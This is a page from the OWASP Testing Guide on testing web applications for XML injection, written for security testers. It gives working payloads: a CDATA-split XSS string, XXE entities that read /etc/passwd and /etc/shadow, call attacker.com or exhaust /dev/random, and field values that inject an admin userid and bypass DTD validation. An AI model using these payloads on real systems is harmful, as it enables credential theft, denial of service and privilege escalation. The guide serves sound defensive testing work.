View source for Testing for XML Injection (OTG-INPVAL-008)

{{Template:OWASP Testing Guide v4}}

== Summary ==
XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result. 


This section describes practical examples of XML Injection. First, an XML style communication will be defined and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).


== How to Test ==
Let's suppose there is a web application using an XML style communication in order to perform user registration. This is done by creating and adding a new <user> node in an xmlDb file.


Let's suppose the xmlDB file is like the following:

 '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
</users></nowiki>'''


When a user registers himself by filling an HTML form, 
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.


For example, the following values:

 '''Username: tony'''
 '''Password: Un6R34kb!e'''
 '''E-mail: s4tan@hell.com'''

will produce the request:

 <nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>


The application, then, builds the following node:

 '''<nowiki><user> 
	<username>tony</username> 
	<password>Un6R34kb!e</password> 
	<userid>500</userid>
	<mail>s4tan@hell.com</mail>
</user></nowiki>'''


which will be added to the xmlDB:

 '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500</userid>
		<mail>s4tan@hell.com</mail>
	</user> 
</users></nowiki>'''


=== Discovery ===
The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.


XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

 '''<node attrib='$inputValue'/>'''

So, if:

 '''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

 '''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.

 '''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
 '''$inputValue = foo"'''

the substitution gives:

 '''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parentheses: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

 '''Username = foo<'''

the application will build a new node:

 '''<nowiki><user> 
     <username>foo<</username> 
     <password>Un6R34kb!e</password> 
     <userid>500</userid>
     <mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.


* '''Comment tag: <nowiki><!--/--></nowiki>''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

 '''<nowiki>Username = foo<!--</nowiki>'''

the application will build a node like the following:

 '''<nowiki><user> 
    <username>foo<!--</username> 
    <password>Un6R34kb!e</password> 
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user></nowiki>'''

which won't be a valid XML sequence.

* '''Ampersand: &amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;symbol;'. An entity is mapped to a character in the Unicode character set.

For example:

 '''<nowiki><tagnode>&amp;lt;</tagnode></nowiki>'''

is well formed and valid, and represents the '<' ASCII character.

If '&amp;' is not encoded itself with &amp;amp;, it could be used to test XML injection.

In fact, if an input like the following is provided:

 '''Username = &amp;foo'''

a new node will be created:

 '''<nowiki><user> 
<username>&foo</username> 
<password>Un6R34kb!e</password> 
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, again, the document is not valid: &amp;foo is not terminated with ';' and the &foo; entity is undefined.


* '''CDATA section delimiters: <![CDATA[ / ]]>''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

For example, if there is the need to represent the string '<foo>' inside a text node, a CDATA section may be used:

 '''<nowiki><node>
    <![CDATA[<foo>]]>
</node></nowiki>'''

so that '<foo>' won't be parsed as markup and will be considered as character data.

If a node is built in the following way:

 '''<nowiki><username><![CDATA[<$userName]]></username></nowiki>'''

the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document.

 '''userName  = ]]>'''

this will become:

 '''<username><![CDATA[]]>]]></username>'''

which is not a valid XML fragment.


Another test is related to CDATA tag. Suppose that the XML document is processed to generate an HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.


Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user. 

 '''<nowiki> <html>
 $HTMLCode
 </html></nowiki>'''

Then, an attacker can provide the following input:

 '''<nowiki>$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]></nowiki>'''

and obtain the following node:

 '''<nowiki><html>
  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
 </html></nowiki>'''

During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:

 '''<script>alert('XSS')</script>'''

The result is that the application is vulnerable to XSS. 


'''External Entity:'''
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. 


To test for XXE vulnerabilities, one can use the following input:

 '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''


This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.


Other useful tests are the following:

 '''<nowiki>
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo></nowiki>'''


=== Tag Injection ===

Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.


Let's considering the previous application. By inserting the following values:

 '''Username: tony'''
 '''Password: Un6R34kb!e'''
 '''E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com'''

the application will build a new node and append it to the XML database:

 '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password> 
		<userid>500</userid>
		<mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
	</user> 
</users></nowiki>'''


The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.


The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.


Let's suppose that the XML document is specified by the following DTD:

 '''<nowiki><!DOCTYPE users [
	  <!ELEMENT users (user+) >
	  <!ELEMENT user (username,password,userid,mail+) >
	  <!ELEMENT username (#PCDATA) >
	  <!ELEMENT password (#PCDATA) >
	  <!ELEMENT userid (#PCDATA) >
	  <!ELEMENT mail (#PCDATA) >
]></nowiki>'''


Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.


However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting 
a comment start/end sequence:


 '''Username: tony'''
 '''<nowiki>Password: Un6R34kb!e</password><!--</nowiki>'''
 '''<nowiki>E-mail: --><userid>0</userid><mail>s4tan@hell.com</nowiki>'''

In this case, the final XML database is:

 '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
	<user> 
		<username>gandalf</username> 
		<password>!c3</password> 
		<userid>0</userid>
		<mail>gandalf@middleearth.com</mail>
	</user> 
	<user> 
		<username>Stefan0</username> 
		<password>w1s3c</password> 
		<userid>500</userid>
		<mail>Stefan0@whysec.hmm</mail>
	</user> 
	<user> 
		<username>tony</username> 
		<password>Un6R34kb!e</password><!--</password> 
		<userid>500</userid>
		<mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
	</user>
</users></nowiki>'''


The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.<br>

==Source Code Review ==
The following Java API may be vulnerable to XXE if they are not configured properly.

* javax.xml.parsers.DocumentBuilder
* javax.xml.parsers.DocumentBuildFactory
* org.xml.sax.EntityResolver
* org.dom4j.*
* javax.xml.parsers.SAXParser
* javax.xml.parsers.SAXParserFactory
* TransformerFactory
* SAXReader
* DocumentHelper
* SAXBuilder
* SAXParserFactory
* XMLReaderFactory
* XMLInputFactory
* SchemaFactory
* DocumentBuilderFactoryImpl
* SAXTransformerFactory
* DocumentBuilderFactoryImpl
* XMLReader
* Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser

Check source code if the docType, external DTD, and external parameter entities are set as forbidden uses.

* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

In addition, the Java POI office reader may be vulnerable to XXE if the version is under 3.10.1.

The version of POI library can be identified from the file name of the JAR. For example,
* poi-3.8.jar
* poi-ooxml-3.8.jar

The followings source code keyword may apply to C.

* libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile ,xmlReadIO,xmlReadMemory, xmlCtxtReadDoc ,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO 
* libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader

== References ==
'''Whitepapers'''<br>
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt<br>
* Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714
* OWASP XXE Prevention Cheat Sheet https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet